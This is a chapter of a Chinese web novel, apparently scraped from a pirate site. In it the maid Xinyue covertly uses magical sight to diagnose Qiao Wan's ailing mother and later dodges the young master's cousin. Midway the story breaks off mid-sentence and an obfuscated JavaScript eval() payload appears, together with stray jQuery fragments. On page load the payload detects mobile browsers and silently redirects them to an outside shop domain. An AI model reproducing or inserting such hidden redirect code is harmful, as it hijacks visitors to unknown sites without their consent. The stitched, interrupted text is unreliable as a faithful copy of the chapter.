文趣网 > 其他小说 > 啊!孽缘呐 > 15. 看诊
    谢府的下人十日一休,心月此前跟着谢灵澈往积善寺,多攒了一日的假。

    看诊之事宜早不宜迟,因此她早就和谢嘉念提过今日便往程府去。

    出了府门,转过街角赁了顶小轿,一路悠闲。

    由于不想太过招摇,此前并未谴人过来送帖子,心月还有些担心扑空。

    好在行至门房将自己的名字一提,原本闲坐一旁的嬷嬷立刻起身凑了过来。

    “这位姑娘,你可是谢参政府上的那位心月?”

    心月转身福了福:“嬷嬷有礼,正是我。”

    嬷嬷一听立时堆起笑脸,欢欢喜喜地拉过她的收上下打量了一圈。

    “可把姑娘盼来了,我们乔姑娘说姑娘的医术一绝,我们老太太叫我在这儿专门侯着您呢。”

    言语间,这位嬷嬷领着她往里走。

    她口中的老太太想必就是乔婉的外祖母钱氏了。

    五年前程老太爷过世,程府几十间米铺的家业就到了几个儿子手中,老太太也顺手将中馈完全交到了媳妇手上,自己享起了清福。

    钱老太太儿子不少,女儿却只有乔婉母亲这一个,自小便十分疼惜。

    看到嬷嬷将自己领到的地方就知道,钱老太太虽然不管家但威严仍在,对自己外嫁女儿和外孙女也十分看重。

    这是一个朝南的院子,阳气充沛,整个程府怕是也找不到比这里更适宜养病的了。

    下人往里面通报不久,乔婉和冬儿便匆匆走了出来。

    “心月姑娘。”乔婉见到她便眼睛一亮,“辛苦你跑这一趟,不曾远迎。”

    “乔小姐太客气了,受之有愧。”

    “姑娘费心替我调理,我还未曾好好谢过呢。打听得你们回府后本也想着去递帖子,可又不好叨扰。”

    乔婉一路说着,就将心月带到了正堂,又吩咐上茶。

    “本想着在府外派人守着,姑娘若是出来了也好接应,只是我离不得冬儿,其他又无人认得姑娘,只好叫嬷嬷在门房守着了。”

    乔婉又亲手斟了茶:“好在把姑娘盼来了,大恩不言谢。”

    心月赶忙起身双手接过:“乔小姐再这般客气,我可连手都不知道怎么放了。”

    乔婉这才自失一笑,脸颊微微泛红:“姑娘一来,我太高兴了,真是见笑。”

    心月将手中的茶慢慢喝下,才问起乔婉母亲。

    “令堂何在?我先替她看过再说其他。”

    乔婉自然无有不允,立刻引着心月往里屋走。

    一进里屋,一股浓厚的药味便扑鼻而来。

    “也看过不少大夫,都说是寒凝血瘀,腹内有癥。”乔婉在一旁解释,“也用过许多药,只是病情总复,现下愈发严重了。”

    早有婢女将躺在床上的程氏扶着坐起,心月上前简单见过礼便上手搭在对方手腕上。

    通过脉象,也只能浅显地判断出原本那些大夫的诊断正确。

    看来还是要借助法术。

    心月只得假做沉思暗地里悄悄开启灵识,而后往程氏的腹部去看。

    只见她不仅胞宫壁内长了几个肿物,就连腹内其他地方也都牵牵扯扯地有一些结块。

    情况比她想得还要严重,心月不禁蹙眉。

    “如何?”一旁的乔婉焦急开口。

    心月缓和神色,轻声道:“倒是无甚大事,只是病情有些复杂罢了,我再与令堂聊几句。”

    除了饮食作息之外,她还问了许多私密的问题,程夫人都一一答了。

    乔婉再度开口:“姑娘可有法子?”

    “这个不忙,之前用的方子可还留着?”

    乔婉赶忙吩咐人去取。

    心月接过一沓方子看完,面上佯作沉思,实则悄悄开启灵识在脑海中搜寻。

    翻到几处相似的内容,又对比了手中的方子,她挑了其中一个比现在更好,但又不至于强出许多的一个。

    “我都看过了。”她将手中的纸张还了回去。

    “之前的方子都每什么问题,只是之前看的大夫毕竟都是男子,很多事情不好问也不好答,有些细小的地方未必完全对症。”

    说完,她走到早已备好的纸笔处开始写方子。

    等将程夫人事处理好,心月才和乔婉到外间,又拿出脉枕给她诊脉。

    “脉象平稳,上次给的方子可按时在服用?”

    一旁的冬儿接话:“不敢懈怠,自从回来后,日日都按时吃的。”

    心月点头:“这便好,记得小日子那几日不可吃。”

    冬儿出声应下,乔婉才开口:“心月姑娘费心了。”

    心月收回手,又将脉枕收好:“都是女儿家,知道女子的难处,乔小姐不必挂怀。”

    乔婉整好袖口才说:“回来后一打听,才知心月姑娘原是在谢小姐院内的,未曾先问过谢小姐,还望心月姑娘替我赔个不是。”

    心月闻言噗呲一笑,倒让乔婉露出疑惑的表情。

    “怎么了?”

    心月摆摆手:“无事,我只是想起我们少爷那日说的话,与小姐方才的话十分相似呢。”

    乔婉眼眸一跳微微颔首,神色间闪过一丝羞赧。

    半晌,她终于还是发问:“为何如此说?”

    “前日才回府,两只脚还没迈进府门呢,少爷便说他自作主张应了这件事,叫我也替他在我们小姐面前赔个不是。”

    此话一出,乔婉面颊迅速染上了一层绯红,眼眸再度垂了下去。

    心月却只当没看见,继续开口。

    “昨日一大早,小姐还在用早膳呢,少爷急匆匆过来就为了说这个事。”

    乔婉的头已经低得不能再低了,心月暗中失笑,面上却丝毫不显。

    “乔小姐你这是怎么了?可有哪里不舒服?”

    “无事。”乔婉拿着手帕在脸侧作势扇了扇,“可能穿得太厚,有些热了。”

    她一边吩咐冬儿开窗一边起身往通风处走,等平复了才回头。

    “谢公子大恩大德,我再空口说谢,只能徒增虚伪,但也确实不知该如何表示了。”

    这其中的顾虑,心月全然知晓。

    “乔小姐有所不知,我们少爷最是纯孝,平日里对太太便十分贴心,每去积善寺都要给太太祈福的。”

    “见乔小姐对程太太如此孝顺,自然引为知己,这般在意也是为全小姐的孝心呢。”

    听心月这么一说,乔婉神色果然放松不少。

    “正是如此,谢公子对参政夫人的孝心有目共睹。”

    心中一块大石落地,乔婉这才忽然想起什么似的,再度开口。

    “对了,谢公子恩情无以为报,寻常宝物也落得下成,外祖母发话谴了人往西城门施粥十日,为参政夫人添福添寿。”

    心月听了立刻深福一礼谢过:“回去后,必然禀报少爷,少爷定会十分开心。”

    见

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571154|204386||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    乔婉垂眸别过头去,心月思忖着到此也足够了,便开口告辞。

    乔婉也不敢多留,略劝几句就送人出门。

    从冬儿手中拿过一个荷包,又将手上的手钏取下递到心月手中。

    “姑娘多负辛劳,这点谢礼一定要收下的。”

    心月推辞不过,只得接了,顺手又发动了一次“千千结”。

    叮铃——叮铃——

    两声清脆的铃声响起,心月的眼睛骤然睁大。

    “怎么了?”耳畔传来乔婉的疑问。

    “无事。”心月回转心神,随意拣个理由搪塞了过去。

    约好下次得空会再过来,又说了些场面话,心月才被一路送出了程府的大门。

    上了程府派的小轿,她赶忙抬起手腕,红绳上的同心结果然又少了两个,如今只剩八个。

    此次任务算是完成了三成,她晃着手腕不住打量,眉眼里都是藏不住的笑。

    下了轿,依旧从角门入府,走过几个拐角,穿过一处抄手游廊,再往前走一段就能到垂花门了。

    心月迈步前行,转头通过身侧墙上的透窗往里看。

    一方小小的花园后,黛瓦粉墙的房屋开了几扇窗,隐约可见一名道袍长袖的中年文士。

    蹙眉片刻,忽然想起此人是谁,心月赶忙矮下身子,加快了步伐。

    然而。

    “心月……是你吗心月?”一阵刻意压低的声音传来。

    心月懊恼地敲敲脑袋。

    此处便是不舍斋,表少爷这个烦人精也在其中进学,怎么把这茬给忘了!

    她本想当没听到逃之夭夭,忽然心念一转,眼睛一眯就站直了身子。

    透窗那侧,表少爷抻长脖子望了过来,焦急地招手。

    心月站到近前,表少爷扒着窗框开口:“你去将我书房桌案上那本《孟子》拿来给我。”

    心月侧过身子,将耳朵凑了过去。

    “表少爷您说什么,我没听清!”

    表少爷啧了一声,身子往前又探了探,将手弯在嘴侧。

    “我说,你到我书房去,将桌案上那本《孟子》拿过来。”

    心月掀起眼皮往他身后看,方才的动静果然已经引起了那位文士的注意。

    她继续加大了声音:“什么?还是没听清!”

    表少爷面上狐疑的神色一闪而过,很快变成震惊与慌乱。

    “你……”

    话音未落,后面便传来一个中气十足的声音。

    “许公子,你不好好作文,趴在哪里做什么?”

    表少爷眸中蓄满愤怒,刚张嘴,心月就脑袋一缩,蹲了下来。

    墙那边响起踹墙声与冷哼声,而后就是一串脚步声。

    “这么些日子,一篇文章都不曾作出,叫你在园子里写,也只顾着玩闹!”

    还是方才那个声音,想必就是那位千里迢迢接过来的袁先生了。

    表少爷嘟嘟囔囔地认错,袁先生更是气得不轻!

    而后又是谢灵澈来说情,却又惹得袁先生将两人进行比较。

    “你瞧瞧人家,再瞧瞧你,怎么也不学着点好!”

    心月背靠院墙蹲着,双手捂着嘴生怕发出一点笑声。

    总算有个人能治这个烦人精了!叫你总是捉弄我!

    她小心翼翼地起身,避开剩下的透窗扬长而去。

    这样一来,他就会讨厌自己了吧?情缘就能断了吧!